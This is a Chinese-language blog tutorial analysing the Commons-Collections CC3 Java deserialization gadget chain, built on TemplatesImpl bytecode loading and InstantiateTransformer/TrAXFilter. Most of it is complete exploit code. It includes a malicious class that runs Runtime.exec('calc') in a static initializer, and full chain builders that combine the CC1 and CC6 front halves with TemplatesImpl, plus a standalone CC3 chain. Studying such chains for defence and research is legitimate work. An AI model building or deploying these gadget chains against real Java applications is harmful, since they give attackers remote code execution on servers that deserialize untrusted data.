<1> 环境分析
前两条 CC1和CC6利用invoke反射调用Runtime().getRuntime().exec()执行命令 很多时候服务器的代码当中的黑名单会选择禁用 Runtime
CC3是利用类加载机制,动态加载恶意类来实现自动执行恶意类代码的
这里测试环境为:
jdk:jdk8u65
CC:Commons-Collections 3.2.1
<2> 链子分析
CC3的sink点在于 defineClass()
但是只加载恶意类 不初始化的话 是不会执行代码的,还需要一个 newInstance 初始化的操作。
defineClass() 往往都是 protected类型的 只能通过反射去调用
但是下面我们会介绍到一个类 它就是CC3 rce的利用点
(1)TemplatesImpl 解析
在我们前面 类加载机制这篇文章 https://www.cnblogs.com/1vxyz/p/17245206.html 中提到了一种利用TemplatesImpl 加载字节码的方法
它的链子为:
TemplatesImpl类 这个类存在一个内部类 TransletClassLoader 继承了 ClassLoader并且重写了 defineClass 方法 重写的defineClass方法可以被外部类调用

我们再看看TemplatesImpl里哪里调用了defineClass

defineTransletClasses() 调用了,可惜也是一个 private 私有属性
再找 我们找到了这个 getTransletInstance()

这个 他不仅对__class作了判断,为空的话赋值,赋完值后还调用了 newInstance() 那我们就重点关注这个函数了,能用的话,就相当于我们就可以动态执行我们的代码了
这个也是private的,我们再往上找 就找到了这个 newTransformer() 这个是public的

这就是这个 TemplatesImpl的链子
(2) TemplatesImpl 利用
逻辑分析
链子函数之间的关系找到了之后,我们来看一看详细调用过程 看看怎么利用
这里 newTransformer()

这里 会直接调用 getTransletInstance
不需要满足一些条件 我们跟进

这里我们
因为我们就是想调用defineTransletClasses
继续跟进 defineTransletClasses
- _bytecodes需要赋值
- _tfactory 需要赋值

_bytecodes 不赋值就抛异常了,_tfactory需要调方法的 也需要赋值
编写exp
我们需要通过反射 给 TemplatesImpl 的 _name、_bytecodes、_tfactory 赋值
- _name 的值,这里需要的是 String,所以我们简单赋个 String
- _bytecodes 的值,这里需要的是byte[][] 但是 _bytecodes 作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放恶意的字节码
可以这样赋值
1 2
| byte[] evil = Files.readAllBytes(Paths.get("evil.class")); byte[][] codes = {evil};
|
- _tfactory 这里比较难
private transient TransformerFactoryImpl _tfactory = null;
是transient类型的 无法写进序列化里
直接修改是不行的,但是我们这里的利用要求比较低,只要让 _tfactory 不为 null 即可
readObject里有给它的赋值语句 _tfactory = new TransformerFactoryImpl();
所以直接在反射中将其赋值为 TransformerFactortImpl 即可
反射赋值操作实际上是重复的 这里我们写一个方法来实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class CC3Test { public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz");
byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
templates.newTransformer();
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); }
|
报错?调试跟进解决
运行 发现在 defineTransletClasses 报了空指针错误 ??? 我们跟进去调试一下看看

在这里它进行了一个父类的判断 判断它父类是不是这个 ABSTRACT_TRANSLET
不是的话会调用下面 _auxClasses.put
那么现在就有两种方法
- 要么 让它父类 equals ABSTRACT_TRANSLET
- 要么 让 _auxClasses 不为null
但是我们注意到下面也有一个判断 1 2 3 4
| if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); }
|
如果 _transletIndex < 0 会抛出异常 而如果不进if语句里(不满足父类 equals ABSTRACT_TRANSLET) _transletIndex就是 -1 也不得行 还会报错
因此我们应该满足 构造的那个类 父类是 ABSTRACT_TRANSLET

是 abstract抽象类,因此我们也要重写这个类的方法
恶意类应该改为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
现在执行一下试一下 代码就成功执行了

(3) CC1 + TemplatesImpl 结合
上面TemplatesImpl 搞懂了之后 就好说了
我们不是要执行 TemplatesImpl.newTransformer() 方法嘛
这里我们通过CC1的sink点 通过transform反射调用 TemplatesImpl.newTransformer()
链子没变 只是最后命令执行方式改了一下
修改exp为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC1_TemplatesImpl { public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz"); byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); unserialize("cc1_templatesImpl.bin"); }
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); }
public static void serialize(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1_templatesImpl.bin")); oos.writeObject(o); } public static void unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); } }
|

(4) CC6 + TemplatesImpl 结合
同理
CC6与 TemplatesImpl结合的话,也是最终sink点 transform反射调用 TemplatesImpl.newTransformer()
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| ```plaintext package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC6_TemplatesImpl { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz"); byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes); setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null), };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>(); map2.put(tiedMapEntry,"bbb"); lazyMap.remove("aaa");
Class c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazyMap,chainedTransformer);
unserialize("sercc6_templatesImpl.bin"); } public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc6_templatesImpl.bin")); oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }
|

(5) CC3本身
链子分析
事实上 我们利用这个 TemplatesImpl加载恶意类 是通过
TemplatesImpl.newTransformer()
我们还可以再往上找找,看有没有什么地方调用了 newTransformer() 可以被利用呢?

这里我们找到了 TrAXFilter类
为什么利用点是 TrAXFilter类 不是其他两个呢
- Process 这个在 main 里面,是作为一般对象用的,所以不用它
- 第二个 getOutProperties,是反射调用的方法,可能会在 fastjson 的漏洞里面被调用
- TransformerFactoryImpl 不能序列化,如果还想使用它也是也可能的,但是需要传参,我们需要去找构造函数。而它的构造函数难传参
- 至于TrAXFilter,虽然它也是不能序列化的,但是它的构造函数里有搞头
查看这个类的构造方法 可以执行这个即可命令执行
_transformer = (TransformerImpl) templates.newTransformer();

我们可以知道,如果可以调用这个构造方法的话,就可以调用我们的 .newTransformer()
但是这个类是不能被序列化的 就只能像之前获取Runtime一样 从它的Class入口 通过构造函数赋值
CC3 这里的作者没有调用 InvokerTransformer,而是调用了一个新的类 InstantiateTransformer

可以看一下这个类的transform方法 这里它会判断参数 是否是CLass类型,是的话 然后会获取这个指定参数类型的Class,指构造器 然后调它的构造函数 .newInstance()实例化
完美符合了我们的需求 我们可以通过 InstantiateTransformer.transform() 获取 TrAXFilter类构造器并初始化 实现 templates.newTransformer()
那我们看看它的参数
- Class[] paramTypes 构造函数的参数类型
- Object[] args
命令执行代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.functors.InstantiateTransformer;
import javax.xml.transform.Templates; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class CC3Test { public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz");
byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); }
public static void serialize(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc3.bin")); oos.writeObject(o); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }
|

CC3反序列化链EXP
那反序列化的链子 实际上就找 调用了 .transformer()的可控的链就行 我们前面的CC1、CC3都可用,选一个当前半部分即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import javax.xml.transform.TransformerConfigurationException; import java.io.*; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class CC3Test { public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name","1vxyz");
byte[] code = Files.readAllBytes(Paths.get("D:\\Java-IDEA\\java_workspace\\CC\\target\\classes\\org\\example\\evil.class")); byte[][] codes = {code}; setFieldValue(templates,"_bytecodes",codes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class); annotationInvocationhdlConstructor.setAccessible(true); InvocationHandler h = (InvocationHandler) annotationInvocationhdlConstructor.newInstance(Override.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, mapProxy); unserialize("sercc3.bin");
}
public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException { Class clazz=object.getClass(); Field declaredField=clazz.getDeclaredField(field_name); declaredField.setAccessible(true); declaredField.set(object,filed_value); }
public static void serialize(Object o) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("sercc3.bin")); oos.writeObject(o); } public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); return ois.readObject(); } }
|

总结
CC3 关键在于理解这个 TemplatesImpl链子 加载恶意类的利用。 构成CC3反序列化链的命令执行点
前面的反序列化链的话,大体上都还是 CC1和CC6的 ···· -> lazyMap.get() -> InvokerTransformer.transform()
总结的流程图:
